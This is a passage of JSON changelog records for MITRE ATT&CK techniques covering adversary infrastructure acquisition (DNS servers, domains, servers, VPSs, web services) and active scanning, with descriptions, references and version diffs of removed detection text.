"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:25.997000+00:00\", \"old_value\": \"2025-04-15 21:43:51.840000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Much of this takes place outside the visibility of the target organization, making detection difficult for defenders. \\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. \", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Much of this takes place outside the visibility of the target organization, making detection difficult for defenders. \\n-\\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. \"}}}",
"previous_version": "1.0",
"changelog_mitigations": {
"shared": [
"M1056: Pre-compromise"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0884: Detection of Acquire Access"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--197ef1b9-e764-46c3-b96c-23f77985dc81",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-10-01 00:40:45.279000+00:00",
"modified": "2025-10-24 17:48:27.611000+00:00",
"name": "DNS Server",
"description": "Adversaries may set up their own Domain Name System (DNS) servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)). Instead of hijacking existing DNS servers, adversaries may opt to configure and run their own DNS servers in support of operations.\n\nBy running their own DNS servers, adversaries can have more control over how they administer server-side DNS C2 traffic ([DNS](https://attack.mitre.org/techniques/T1071/004)). With control over a DNS server, adversaries can configure DNS applications to provide conditional responses to malware and, generally, have more flexibility in the structure of the DNS-based C2 channel.(Citation: Unit42 DNS Mar 2019)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "resource-development"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1583/002",
"external_id": "T1583.002"
},
{
"source_name": "Unit42 DNS Mar 2019",
"description": "Hinchliffe, A. (2019, March 15). DNS Tunneling: how DNS can be (ab)used by malicious actors. Retrieved October 3, 2020.",
"url": "https://unit42.paloaltonetworks.com/dns-tunneling-how-dns-can-be-abused-by-malicious-actors/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"PRE"
],
"x_mitre_version": "1.0",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:27.611000+00:00\", \"old_value\": \"2025-04-15 22:14:14.654000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.\"}}}",
"previous_version": "1.0",
"changelog_mitigations": {
"shared": [
"M1056: Pre-compromise"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0862: Detection of DNS Server"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-09-30 17:09:31.878000+00:00",
"modified": "2025-10-24 17:48:42.246000+00:00",
"name": "Domains",
"description": "Adversaries may acquire domains that can be used during targeting. Domain names are the human readable names used to represent one or more IP addresses. They can be purchased or, in some cases, acquired for free.\n\nAdversaries may use acquired domains for a variety of purposes, including for [Phishing](https://attack.mitre.org/techniques/T1566), [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), and Command and Control.(Citation: CISA MSS Sep 2020) Adversaries may choose domains that are similar to legitimate domains, including through use of homoglyphs or use of a different top-level domain (TLD).(Citation: FireEye APT28)(Citation: PaypalScam) Typosquatting may be used to aid in delivery of payloads via [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). Adversaries may also use internationalized domain names (IDNs) and different character sets (e.g. Cyrillic, Greek, etc.) to execute \"IDN homograph attacks,\" creating visually similar lookalike domains used to deliver malware to victim machines.(Citation: CISA IDN ST05-016)(Citation: tt_httrack_fake_domains)(Citation: tt_obliqueRAT)(Citation: httrack_unhcr)(Citation: lazgroup_idn_phishing)\n\nDifferent URIs/URLs may also be dynamically generated to uniquely serve malicious content to victims (including one-time, single use domain names).(Citation: iOS URL Scheme)(Citation: URI)(Citation: URI Use)(Citation: URI Unique)\n\nAdversaries may also acquire and repurpose expired domains, which may be potentially already allowlisted/trusted by defenders based on an existing reputation/history.(Citation: Categorisation_not_boundary)(Citation: Domain_Steal_CC)(Citation: Redirectors_Domain_Fronting)(Citation: bypass_webproxy_filtering)\n\nDomain registrars each maintain a publicly viewable database that displays contact information for every registered domain. Private WHOIS services display alternative information, such as their own company data, rather than the owner of the domain. Adversaries may use such private WHOIS services to obscure information about who owns a purchased domain. Adversaries may further interrupt efforts to track their infrastructure by using varied registration information and purchasing domains with different domain registrars.(Citation: Mandiant APT1)\n\nIn addition to legitimately purchasing a domain, an adversary may register a new domain in a compromised environment. For example, in AWS environments, adversaries may leverage the Route53 domain service to register a domain and create hosted zones pointing to resources of the threat actor\u2019s choosing.(Citation: Invictus IR DangerDev 2024)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "resource-development"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1583/001",
"external_id": "T1583.001"
},
{
"source_name": "URI Unique",
"description": "Australian Cyber Security Centre. National Security Agency. (2020, April 21). Detect and Prevent Web Shell Malware. Retrieved February 9, 2024.",
"url": "https://media.defense.gov/2020/Jun/09/2002313081/-1/-1/0/CSI-DETECT-AND-PREVENT-WEB-SHELL-MALWARE-20200422.PDF"
},
{
"source_name": "PaypalScam",
"description": "Bob Sullivan. (2000, July 24). PayPal alert! Beware the 'PaypaI' scam. Retrieved March 2, 2017.",
"url": "https://www.zdnet.com/article/paypal-alert-beware-the-paypai-scam-5000109103/"
},
{
"source_name": "CISA IDN ST05-016",
"description": "CISA. (2019, September 27). Security Tip (ST05-016): Understanding Internationalized Domain Names. Retrieved October 20, 2020.",
"url": "https://us-cert.cisa.gov/ncas/tips/ST05-016"
},
{
"source_name": "CISA MSS Sep 2020",
"description": "CISA. (2020, September 14). Alert (AA20-258A): Chinese Ministry of State Security-Affiliated Cyber Threat Actor Activity. Retrieved October 1, 2020.",
"url": "https://us-cert.cisa.gov/ncas/alerts/aa20-258a"
},
{
"source_name": "bypass_webproxy_filtering",
"description": "Fehrman, B. (2017, April 13). How to Bypass Web-Proxy Filtering. Retrieved September 20, 2019.",
"url": "https://www.blackhillsinfosec.com/bypass-web-proxy-filtering/"
},
{
"source_name": "FireEye APT28",
"description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.",
"url": "https://web.archive.org/web/20151022204649/https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"
},
{
"source_name": "Invictus IR DangerDev 2024",
"description": "Invictus Incident Response. (2024, January 31). The curious case of DangerDev@protonmail.me. Retrieved March 19, 2024.",
"url": "https://www.invictus-ir.com/news/the-curious-case-of-dangerdev-protonmail-me"
},
{
"source_name": "Domain_Steal_CC",
"description": "Krebs, B. (2018, November 13). That Domain You Forgot to Renew? Yeah, it\u2019s Now Stealing Credit Cards. Retrieved September 20, 2019.",
"url": "https://krebsonsecurity.com/2018/11/that-domain-you-forgot-to-renew-yeah-its-now-stealing-credit-cards/"
},
{
"source_name": "tt_obliqueRAT",
"description": "Malhotra, A., McKay, K. et al. (2021, May 13). Transparent Tribe APT expands its Windows malware arsenal . Retrieved July 29, 2022.",
"url": "https://blog.talosintelligence.com/2021/05/transparent-tribe-infra-and-targeting.html"
},
{
"source_name": "tt_httrack_fake_domains",
"description": "Malhotra, A., Thattil, J. et al. (2022, March 29). Transparent Tribe campaign uses new bespoke malware to target Indian government officials . Retrieved September 6, 2022.",
"url": "https://blog.talosintelligence.com/2022/03/transparent-tribe-new-campaign.html"
},
{
"source_name": "Mandiant APT1",
"description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
"url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
},
{
"source_name": "Categorisation_not_boundary",
"description": "MDSec Research. (2017, July). Categorisation is not a Security Boundary. Retrieved September 20, 2019.",
"url": "https://www.mdsec.co.uk/2017/07/categorisation-is-not-a-security-boundary/"
},
{
"source_name": "URI",
"description": "Michael Cobb. (2007, October 11). Preparing for uniform resource identifier (URI) exploits. Retrieved February 9, 2024.",
"url": "https://www.techtarget.com/searchsecurity/tip/Preparing-for-uniform-resource-identifier-URI-exploits"
},
{
"source_name": "Redirectors_Domain_Fronting",
"description": "Mudge, R. (2017, February 6). High-reputation Redirectors and Domain Fronting. Retrieved July 11, 2022.",
"url": "https://www.cobaltstrike.com/blog/high-reputation-redirectors-and-domain-fronting/"
},
{
"source_name": "URI Use",
"description": "Nathan McFeters. Billy Kim Rios. Rob Carter.. (2008). URI Use and Abuse. Retrieved February 9, 2024.",
"url": "https://www.blackhat.com/presentations/bh-dc-08/McFeters-Rios-Carter/Presentation/bh-dc-08-mcfeters-rios-carter.pdf"
},
{
"source_name": "iOS URL Scheme",
"description": "Ostorlab. (n.d.). iOS URL Scheme Hijacking. Retrieved February 9, 2024.",
"url": "https://docs.ostorlab.co/kb/IPA_URL_SCHEME_HIJACKING/index.html"
},
{
"source_name": "lazgroup_idn_phishing",
"description": "RISKIQ. (2017, December 20). Mining Insights: Infrastructure Analysis of Lazarus Group Cyber Attacks on the Cryptocurrency Industry. Retrieved July 29, 2022.",
"url": "https://web.archive.org/web/20171223000420/https://www.riskiq.com/blog/labs/lazarus-group-cryptocurrency/"
},
{
"source_name": "httrack_unhcr",
"description": "RISKIQ. (2022, March 15). RiskIQ Threat Intelligence Roundup: Campaigns Targeting Ukraine and Global Malware Infrastructure. Retrieved July 29, 2022.",
"url": "https://web.archive.org/web/20220527112908/https://www.riskiq.com/blog/labs/ukraine-malware-infrastructure/"
},
{
"source_name": "ThreatConnect Infrastructure Dec 2020",
"description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.",
"url": "https://threatconnect.com/blog/infrastructure-research-hunting/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Wes Hurd",
"Vinayak Wadhwa, Lucideus",
"Deloitte Threat Library Team",
"Oleg Kolesnikov, Securonix",
"Menachem Goldstein",
"Nikola Kovac"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"PRE"
],
"x_mitre_version": "1.4",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Domain Name: Passive DNS\", \"Domain Name: Domain Registration\", \"Domain Name: Active DNS\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:42.246000+00:00\", \"old_value\": \"2025-04-15 22:23:15.751000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Domain registration information is, by design, captured in public registration logs. Consider use of services that may aid in tracking of newly acquired domains, such as WHOIS databases and/or passive DNS. In some cases it may be possible to pivot on known pieces of domain registration information to uncover other infrastructure purchased by the adversary. Consider monitoring for domains created with a similar structure to your own, including under a different TLD. Though various tools and services exist to track, query, and monitor domain name registration information, tracking across multiple DNS infrastructures can require multiple tools/services or more advanced analytics.(Citation: ThreatConnect Infrastructure Dec 2020)\\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access and Command and Control.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Domain registration information is, by design, captured in public registration logs. Consider use of services that may aid in tracking of newly acquired domains, such as WHOIS databases and/or passive DNS. In some cases it may be possible to pivot on known pieces of domain registration information to uncover other infrastructure purchased by the adversary. Consider monitoring for domains created with a similar structure to your own, including under a different TLD. Though various tools and services exist to track, query, and monitor domain name registration information, tracking across multiple DNS infrastructures can require multiple tools/services or more advanced analytics.(Citation: ThreatConnect Infrastructure Dec 2020)\\n-\\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access and Command and Control.\"}}}",
"previous_version": "1.4",
"changelog_mitigations": {
"shared": [
"M1056: Pre-compromise"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0038: Domain Name (Active DNS)",
"DS0038: Domain Name (Domain Registration)",
"DS0038: Domain Name (Passive DNS)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0892: Detection of Domains"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--60c4b628-4807-4b0b-bbf5-fdac8643c337",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-10-01 00:48:09.578000+00:00",
"modified": "2025-10-24 17:48:50.911000+00:00",
"name": "Server",
"description": "Adversaries may buy, lease, rent, or obtain physical servers\u00a0that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, such as watering hole operations in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), enabling [Phishing](https://attack.mitre.org/techniques/T1566) operations, or facilitating [Command and Control](https://attack.mitre.org/tactics/TA0011). Instead of compromising a third-party [Server](https://attack.mitre.org/techniques/T1584/004) or renting a [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003), adversaries may opt to configure and run their own servers in support of operations. Free trial periods of cloud servers may also be abused.(Citation: Free Trial PurpleUrchin)(Citation: Freejacked) \n\nAdversaries may only need a lightweight setup if most of their activities will take place using online infrastructure. Or, they may need to build extensive infrastructure if they want to test, communicate, and control other aspects of their activities on their own systems.(Citation: NYTStuxnet)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "resource-development"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1583/004",
"external_id": "T1583.004"
},
{
"source_name": "Freejacked",
"description": "Clark, Michael. (2023, August 14). Google\u2019s Vertex AI Platform Gets Freejacked. Retrieved February 28, 2024.",
"url": "https://sysdig.com/blog/googles-vertex-ai-platform-freejacked/"
},
{
"source_name": "Free Trial PurpleUrchin",
"description": "Gamazo, William. Quist, Nathaniel.. (2023, January 5). PurpleUrchin Bypasses CAPTCHA and Steals Cloud Platform Resources. Retrieved February 28, 2024.",
"url": "https://unit42.paloaltonetworks.com/purpleurchin-steals-cloud-resources/"
},
{
"source_name": "Koczwara Beacon Hunting Sep 2021",
"description": "Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.",
"url": "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2"
},
{
"source_name": "Mandiant SCANdalous Jul 2020",
"description": "Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved November 17, 2024.",
"url": "https://cloud.google.com/blog/topics/threat-intelligence/scandalous-external-detection-using-network-scan-data-and-automation/"
},
{
"source_name": "ThreatConnect Infrastructure Dec 2020",
"description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.",
"url": "https://threatconnect.com/blog/infrastructure-research-hunting/"
},
{
"source_name": "NYTStuxnet",
"description": "William J. Broad, John Markoff, and David E. Sanger. (2011, January 15). Israeli Test on Worm Called Crucial in Iran Nuclear Delay. Retrieved March 1, 2017.",
"url": "https://www.nytimes.com/2011/01/16/world/middleeast/16stuxnet.html"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Dor Edry, Microsoft"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"PRE"
],
"x_mitre_version": "1.3",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Internet Scan: Response Metadata\", \"Internet Scan: Response Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:50.911000+00:00\", \"old_value\": \"2025-04-15 23:05:58.721000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Once adversaries have provisioned a server (ex: for use as a command and control server), internet scans may reveal servers that adversaries have acquired. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\\n\\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Once adversaries have provisioned a server (ex: for use as a command and control server), internet scans may reveal servers that adversaries have acquired. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\\n-\\n-Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.\"}}}",
"previous_version": "1.3",
"changelog_mitigations": {
"shared": [
"M1056: Pre-compromise"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0035: Internet Scan (Response Content)",
"DS0035: Internet Scan (Response Metadata)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0871: Detection of Server"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--79da0971-3147-4af6-a4f5-e8cd447cd795",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-10-01 00:44:23.935000+00:00",
"modified": "2025-10-24 17:48:59.607000+00:00",
"name": "Virtual Private Server",
"description": "Adversaries may rent Virtual Private Servers (VPSs)\u00a0that can be used during targeting. There exist a variety of cloud service providers that will sell virtual machines/containers as a service. By utilizing a VPS, adversaries can make it difficult to physically tie back operations to them. The use of cloud infrastructure can also make it easier for adversaries to rapidly provision, modify, and shut down their infrastructure.\n\nAcquiring a VPS for use in later stages of the adversary lifecycle, such as Command and Control, can allow adversaries to benefit from the ubiquity and trust associated with higher reputation cloud service providers. Adversaries may also acquire infrastructure from VPS service providers that are known for renting VPSs with minimal registration information, allowing for more anonymous acquisitions of infrastructure.(Citation: TrendmicroHideoutsLease)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "resource-development"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1583/003",
"external_id": "T1583.003"
},
{
"source_name": "Koczwara Beacon Hunting Sep 2021",
"description": "Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.",
"url": "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2"
},
{
"source_name": "TrendmicroHideoutsLease",
"description": "Max Goncharov. (2015, July 15). Criminal Hideouts for Lease: Bulletproof Hosting Services. Retrieved March 6, 2017.",
"url": "https://documents.trendmicro.com/assets/wp/wp-criminal-hideouts-for-lease.pdf"
},
{
"source_name": "Mandiant SCANdalous Jul 2020",
"description": "Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved November 17, 2024.",
"url": "https://cloud.google.com/blog/topics/threat-intelligence/scandalous-external-detection-using-network-scan-data-and-automation/"
},
{
"source_name": "ThreatConnect Infrastructure Dec 2020",
"description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.",
"url": "https://threatconnect.com/blog/infrastructure-research-hunting/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"PRE"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Internet Scan: Response Content\", \"Internet Scan: Response Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:59.607000+00:00\", \"old_value\": \"2025-04-15 23:18:46.651000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Once adversaries have provisioned a VPS (ex: for use as a command and control server), internet scans may reveal servers that adversaries have acquired. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\\n\\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Once adversaries have provisioned a VPS (ex: for use as a command and control server), internet scans may reveal servers that adversaries have acquired. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\\n-\\n-Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1056: Pre-compromise"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0035: Internet Scan (Response Content)",
"DS0035: Internet Scan (Response Metadata)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0838: Detection of Virtual Private Server"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--88d31120-5bc7-4ce3-a9c0-7cf147be8e54",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-10-01 00:50:29.936000+00:00",
"modified": "2025-10-24 17:49:04.554000+00:00",
"name": "Web Services",
"description": "Adversaries may register for web services\u00a0that can be used during targeting. A variety of popular websites exist for adversaries to register for a web-based service that can be abused during later stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)), [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567), or [Phishing](https://attack.mitre.org/techniques/T1566). Using common services, such as those offered by Google, GitHub, or Twitter, makes it easier for adversaries to hide in expected noise.(Citation: FireEye APT29)(Citation: Hacker News GitHub Abuse 2024) By utilizing a web service, adversaries can make it difficult to physically tie back operations to them.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "resource-development"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1583/006",
"external_id": "T1583.006"
},
{
"source_name": "Hacker News GitHub Abuse 2024",
"description": "Dvir Sasson. (2024, May 13). GitHub Abuse Flaw Shows Why We Can't Shrug Off Abuse Vulnerabilities in Security. Retrieved March 31, 2025.",
"url": "https://thehackernews.com/expert-insights/2024/05/github-abuse-flaw-shows-why-we-cant.html"
},
{
"source_name": "FireEye APT29",
"description": "FireEye Labs. (2015, July). HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group. Retrieved November 17, 2024.",
"url": "https://services.google.com/fh/files/misc/rpt-apt29-hammertoss-stealthy-tactics-define-en.pdf"
},
{
"source_name": "ThreatConnect Infrastructure Dec 2020",
"description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.",
"url": "https://threatconnect.com/blog/infrastructure-research-hunting/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Dor Edry, Microsoft",
"Dvir Sasson, Reco"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"PRE"
],
"x_mitre_version": "1.3",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Internet Scan: Response Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:04.554000+00:00\", \"old_value\": \"2025-04-15 19:58:49.217000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Once adversaries leverage the web service as infrastructure (ex: for command and control), it may be possible to look for unique characteristics associated with adversary software, if known.(Citation: ThreatConnect Infrastructure Dec 2020)\\n\\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Once adversaries leverage the web service as infrastructure (ex: for command and control), it may be possible to look for unique characteristics associated with adversary software, if known.(Citation: ThreatConnect Infrastructure Dec 2020)\\n-\\n-Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567).\"}}}",
"previous_version": "1.3",
"changelog_mitigations": {
"shared": [
"M1056: Pre-compromise"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0035: Internet Scan (Response Content)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0896: Detection of Web Services"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--67073dde-d720-45ae-83da-b12d5e73ca3b",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-10-02 16:53:16.526000+00:00",
"modified": "2025-10-24 17:48:53.018000+00:00",
"name": "Active Scanning",
"description": "Adversaries may execute active reconnaissance scans to gather information that can be used during targeting. Active scans are those where the adversary probes victim infrastructure via network traffic, as opposed to other forms of reconnaissance that do not involve direct interaction.\n\nAdversaries may perform different forms of active scanning depending on what information they seek to gather. These scans can also be performed in various ways, including using native features of network protocols such as ICMP.(Citation: Botnet Scan)(Citation: OWASP Fingerprinting) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "reconnaissance"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1595",
"external_id": "T1595"
},
{
"source_name": "Botnet Scan",
"description": "Dainotti, A. et al. (2012). Analysis of a \u201c/0\u201d Stealth Scan from a Botnet. Retrieved October 20, 2020.",
"url": "https://www.caida.org/publications/papers/2012/analysis_slash_zero/analysis_slash_zero.pdf"
},
{
"source_name": "OWASP Fingerprinting",
"description": "OWASP Wiki. (2018, February 16). OAT-004 Fingerprinting. Retrieved October 20, 2020.",
"url": "https://wiki.owasp.org/index.php/OAT-004_Fingerprinting"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
